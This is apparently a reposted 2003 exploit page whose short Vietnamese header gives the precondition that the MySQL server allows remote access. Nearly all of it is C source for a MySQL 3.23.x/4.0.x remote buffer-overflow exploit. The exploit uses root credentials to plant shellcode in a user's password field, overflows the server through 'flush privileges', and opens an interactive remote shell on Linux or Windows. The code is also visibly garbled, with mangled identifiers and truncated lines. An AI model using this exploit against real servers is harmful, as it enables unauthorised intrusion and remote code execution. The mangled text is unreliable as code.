Điều kiện cần thiết : server phải cho remote access mysql
Submits the work: bkbll
Submits the date: 2003-09-15
Work attribute: recommendation
Documents category: Code work
Browsing number of times: Now 13 / always 1227
Code khai thác:
*
* exp for mysql
* proof of concept
* using jmp *eax on linux
* using jmp *edx on windows
* bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com) 2003/09/12
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
*
*/
#include < stdio.h >
#include < stdlib.h >
#include < unistd.h >
#include < errno.h >
#include < sys/socket.h >
#include < sys/types.h >
#include < sys/select.h >
#include < netdb.h >
#include < mysql/mysql.h >
#define ROOTUSER " root "
#define PORT 3306
#define MYDB " mysql "
#define ALTCOLUMSQL " ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT "
#define LISTUSERSQL " SELECT user, password FROM mysql.user WHERE user! ='root' LIMIT 0,1 "
#define FLUSHSQL " \x11\x00\x00\x00\x03\x66\x6c\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6c\x65\x67\x65\x73 "
#define BUF 2048
#define VER " 2.1b2 "
#define CMD " uname -a; id\n "
MYSQL *conn;
char NOP [ ] = " 90 ";
char linux_shellcode [ ] =
" db31c03102b0c931 "
" c08580cdc3893474 "
" d231c03180cd07b0 "
" 40b0c03109b180cd "
" c031c38980cd25b0 "
" 80c2fe43f07203fa "
" 14b0c031c38980cd "
" c931c03125b009b1 "
" 17b080cdc03180cd "
" 89504050b0c931e3 "
" b180cda283c889e0 "
" d0f70ae831c78940 "
" 894c40c0525050e2 "
" 4c8d5157db310424 "
" 66b00ab3835980cd "
" 057501f874493a80 "
" 31d2e209c38940c0 "
" fb8980cd3fb003b1 "
" 4180cd496851f8e2 "
" 68732f6e622f2f68 "
" 51e389696c692d68 "
" 51e28970e1895352 "
" c031d23180cd0bb0 "
;
//bind on 53 port
char win_shellcode [ ] =
/*
" 4A5A10EBB966C9333480017DFAE2990A "
" EBE805EB70FFFFFF99999895A938FDC3 "
" 12999999E91295D9D912348512411291 "
" ED12A5EA6A9AE1879AB9E7128DD71262 "
" CECF74AA9AA612C8F36B12623F6AC097 "
" C6C091EDDC9D5E1AC6C0707B125412C7 "
" 5A9ABDDF589A784812FF50AA85DF1291 "
" 78585A9A12589A9B125A9A991A6E1263 "
" 4912975F71C09AF39999991ECB945F1A "
" 65CE66CFF34112C3ED71C09CC9999999 "
" F3C9C9C9669BF398411275CE999B9E5E "
" 59AAAC99F39DDE1066CACE8998F369CE "
" 6DCE66CA66CAC9C9491261CE12DD751A "
" F359AA6D9D10C08910627B17CF10A1CF "
" D9CF10A5B5DF5EFFDE149898AACFC989 "
" C8C8C850C8C898F3FAA5DE5E1499FDF4 "
" C8C9A5DECB79CE66CA65CE66C965CE66 "
" AA7DCE66591C3559CBC860EC4B66CACF "
" 7B32C0C35A59AA7766677671EDFCDE66 "
" FAF6EBC9EBFDFDD899EAEAFCF8FCEBDA "
" EBC9FCEDEAFCFAF6DC99D8EACDEDF0E1 "
" F8FCEBF1F6D599FDF0D5FDF8EBF8EBFB "
" EE99D8E0AAC6ABEACACE99ABFAF6CAD8 "
" D8EDFCF2F7F0FB99F0F599FDF7FCEDEA "
" FAFAF89999EDE9FCEAF6F5FAFAF6EAFC "
" 99EDFCF2 ";
*/
" EB909090334A5A107EB966C90A348001 "
" EBFAE299FFEBE8059570FFFFC3999998 "
" 99A938FDD912999985E9129591D91234 "
" EA12411287ED12A5126A9AE1629AB9E7 "
" AA8DD712C8CECF74629AA61297F36B12 "
" ED3F6AC01AC6C0917BDC9D5EC7C6C070 "
" DF125412485A9ABDAA589A789112FF50 "
" 9A85DF129B78585A9912589A63125A9A "
" 5F1A6E12F34912971E71C09A1A999999 "
" CFCB945FC365CE669CF3411299ED71C0 "
" C9C9999998F3C9C9CE669BF35E411275 "
" 99999B9E1059AAAC89F39DDECE66CACE "
" CA98F369C96DCE66CE66CAC91A491261 "
" 6D12DD7589F359AA179D10C0CF10627B "
" A5CF10A1FFD9CF1098B5DF5E89DE1498 "
" 50AACFC9F3C8C8C85EC8C898F4FAA5DE "
" DE1499FD66C8C9A566CB79CE66CA65CE "
" 66C965CE59AA7DCEEC591C35CFCBC860 "
" C34B66CA777B32C0715A59AA66666776 "
" C9EDFCDED8FAF6EBFCEBFDFDDA99EAEA "
" EDF8FCEBF6EBC9FCEAEAFCFAE1DC99D8 "
" EBC9EDF0EAFCFAF6F6D599EAF0D5FDF8 "
" EBF8EBFBEE99D8E0AAC6ABEACACE99AB "
" FAF6CAD8D8EDFCF2F7F0FB99F0F599FD "
" F7FCEDEAFAFAF89999EDE9FCEAF6F5FA "
" FAF6EAFC99EDFCF29090909090909090 "
;
int win_port=53;
int type=1;
struct
{
char *os;
u_long ret;
int pad;
int systemtype; //0 is linux,1 is windows
} targets [ ] =
{
{ " linux:glibc-2.2.93-5 ", 0x42125b2b,19*4*2,0 },
{ " windows2000 SP3 CN ",0x77e625db,9*4*2,1 },
} v;
void usage (char *);
void sqlerror (char *);
MYSQL *mysqlconn (char *server, int port, char *user, char *pass, char *dbname);
main (int argc, char **argv)
{
MYSQL_RES *result;
MYSQL_ROW row;
char jmpaddress [ 8 ];
char buffer [ BUF ], muser [ 20 ], buf2 [ 1200 ];
my_ulonglong rslines;
struct sockaddr_in clisocket;
int i=0, j, clifd, count, a;
char data1, c;
fd_set fds;
char *serverc=null, *rootpassc=null;
int pad, systemtype;
u_long jmpaddr;
if (argc < 3) usage (argv [ 0 ]);
while ((c = getopt (argc, argv, " d:t:p: "))! = EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi (optarg);
if ((type > sizeof (targets) /sizeof (v)) || (type < 1))
usage (argv [ 0 ]);
break;
case 'p':
rootpass=optarg;
break;
default:
usage (argv [ 0 ]);
return 1;
}
}
if (serverc==null || rootpassc==null)
usage (argv [ 0 ]);
memset (muser,0,20);
memset (buf2,0,1200);
pad=targets [ type-1 ].pad;
systemtype=targets [ type-1 ].systemtype;
jmpaddr=targets [ type-1 ].ret;
printf (" @-------------------------------------------------@\n ");
printf (" # Mysql 3.23.x/4.0.x remote exploit (09/13) -%s #\n ", VER);
printf (" @ by bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com @\n ");
printf (" ---------------------------------------------------\n ");
printf (" [ + ] system type:%s, using ret addr:%p, pad:%d\n ", (systemtype==0)? " linux ": " windows ", jmpaddr, pad);
printf (" [ + ] Connecting to mysql server %s:%d.... ", server, PORT);
fflush (stdout);
conn=mysqlconn (server, PORT, ROOTUSER, rootpass, MYDB);
if (connc==null) exit (0);
printf (" ok\n ");
printf (" [ + ] ALTER user column... ");
fflush (stdout);
if (mysql_real_query (conn, ALTCOLUMSQL, strlen (ALTCOLUMSQL))! =0)
sqlerror (" ALTER user table failed ");
//select
printf (" ok\n ");
printf (" [ + ] Select a valid user... ");
fflush (stdout);
if (mysql_real_query (conn, LISTUSERSQL, strlen (LISTUSERSQL))! =0)
sqlerror (" select user from table failed ");
result=mysql_store_result (conn);
if (resultc==null)
sqlerror (" store result error ");
rslines=mysql_num_rows (result);
if (rslines==0)
sqlerror (" Cannot find a user ");
row=mysql_fetch_row (result);
snprintf (muser,19, " %s ", row [ 0 ]);
printf (" ok\n ");
printf (" [ + ] Found a user:%s, password:%s\n ", muser, row [ 1 ]);
memset (buffer,0, BUF);
i=sprintf (buffer, " update user set password=' ");
sprintf (jmpaddress, " %x ", jmpaddr);
jmpaddress [ 8 ] =0;
for (j=0; j < pad-4; j+=2)
{
memcpy (buf2+j, NOP,2);
}
memcpy (buf2+j, " 06eb ",4);
memcpy (buf2+pad, jmpaddress,
;
switch (systemtype)
{
case 0:
memcpy (buf2+pad+8, linux_shellcode, strlen (linux_shellcode));
break;
case 1:
memcpy (buf2+pad+8, win_shellcode, strlen (win_shellcode));
break;
default:
printf (" [ - ] Not support this systemtype\n ");
mysql_close (conn);
exit (0);
}
j=strlen (buf2);
if (j%
{
j=j/8+1;
count=j*8-strlen (buf2);
memset (buf2+strlen (buf2), 'A', count);
}
printf (" [ + ] Password length:%d\n ", strlen (buf2));
memcpy (buffer+i, buf2, strlen (buf2));
i+=strlen (buf2);
i+=sprintf (buffer+i, " ' where user='%s' ", muser);
mysql_free_result (result);
printf (" [ + ] Modified password... ");
fflush (stdout);
//get result
//write (2, buffer, i);
if (mysql_real_query (conn, buffer, i)! =0)
sqlerror (" Modified password error ");
//here I'll find client socket fd
printf (" ok\n ");
printf (" [ + ] Finding client socket...... ");
j=sizeof (clisocket);
for (clifd=3; clifd < 256; clifd++)
{
if (getpeername (clifd, (struct sockaddr *) & clisocket, & j) ==-1) continue;
if (clisocket.sin_port==htons (PORT)) break;
}
if (clifd==256)
{
printf (" FAILED\n [ - ] Cannot find client socket\n ");
mysql_close (conn);
exit (0);
}
printf (" ok\n ");
printf (" [ + ] socketfd:%d\n ", clifd);
//let server overflow
printf (" [ + ] Overflow server.... ");
fflush (stdout);
send (clifd, FLUSHSQL, sizeof (FLUSHSQL),0);
//if (mysql_real_query (conn, FLUSHSQL, strlen (FLUSHSQL))! =0)
// sqlerror (" Flush error ");
printf (" ok\n ");
if (systemtype==0)
{
printf (" [ + ] sending OOB....... ");
fflush (stdout);
data1='I';
if (send (clifd, & data1,1, MSG_OOB) < 1)
{
perror (" error ");
mysql_close (conn);
exit (0);
}
printf (" ok\r\n ");
send (clifd, CMD, sizeof (CMD),0);
}
printf (" [ + ] Waiting for a shell..... \n ");
if (systemtype==1)
{
clifd=socket (AF_INET, SOCK_STREAM,0);
client_connect (clifd, server, win_port);
}
//printf (" [ + ] Waiting a shell..... ");
fflush (stdout);
execsh (clifd);
mysql_close (conn);
exit (0);
}
int execsh (int clifd)
{
fd_set fds;
int count;
char buffer [ BUF ];
memset (buffer,0, BUF);
while (1)
{
FD_ZERO (& fds);
FD_SET (0, & fds);
FD_SET (clifd, & fds);
if (select (clifd+1, & fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET (0, & fds))
{
count = read (0, buffer, BUF);
if (count < = 0) break;
if (write (clifd, buffer, count) < = 0) break;
memset (buffer,0, BUF);
}
if (FD_ISSET (clifd, & fds))
{
count = read (clifd, buffer, BUF);
if (count < = 0) break;
if (write (1, buffer, count) < = 0) break;
memset (buffer,0, BUF);
}
}
}
void usage (char *s)
{
int a;
printf (" @-------------------------------------------------@\n ");
printf (" # Mysql 3.23.x/4.0.x remote exploit (09/13) -%s #\n ", VER);
printf (" @ by bkbll (bkbll_at_cnhonker.net, bkbll_at_tom.com @\n ");
printf (" ---------------------------------------------------\n ");
printf (" Usage:%s -d < host > -p < root_pass > -t < type > \n ", s);
printf (" -d target host ip/name\n ");
printf (" -p 'root' user paasword\n ");
printf (" -t type [ default:%d ] \n ", type);
printf (" ------------------------------\n ");
for (a = 0; a < sizeof (targets) /sizeof (v); a++)
printf (" %d [ 0x%.8x ]: %s\n ", a+1, targets [ a ].ret, targets [ a ].os);
printf (" \n ");
exit (0);
}
MYSQL *mysqlconn (char *server, int port, char *user, char *pass, char *dbname)
{
MYSQL *connect;
connect=mysql_init (NULL);
if (connectc==null)
{
printf (" FAILED\n [ - ] init mysql failed:%s\n ", mysql_error (connect));
return NULL;
}
if (mysql_real_connect (connect, server, user, pass, dbname, port, NULL,0) ==NULL)
{
printf (" FAILED\n [ - ] Error: %s\n ", mysql_error (connect));
return NULL;
}
return connect;
}
void sqlerror (char *s)
{
fprintf (stderr, " FAILED\n [ - ] %s:%s\n ", s, mysql_error (conn));
mysql_close (conn);
exit (0);
}
int client_connect (int sockfd, char* server, int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
if ((host=gethostbyname (server)) ==NULL)
{
printf (" gethostbyname (%s) error\n ", server);
return (-1);
}
bzero (& cliaddr, sizeof (struct sockaddr));
cliaddr.sin_familyc=af_inet;
cliaddr.sin_port=htons (port);
cliaddr.sin_addr=* ((struct in_addr *) host- > h_addr);
printf (" [ + ] Trying %s:%d.... ", server, port);
fflush (stdout);
if (connect (sockfd, (struct sockaddr *) & cliaddr, sizeof (struct sockaddr)) < 0)
{
printf (" error:%s\r\n ", strerror (errno));
return (-1);
}
printf (" ok\r\n ");
return (0);
}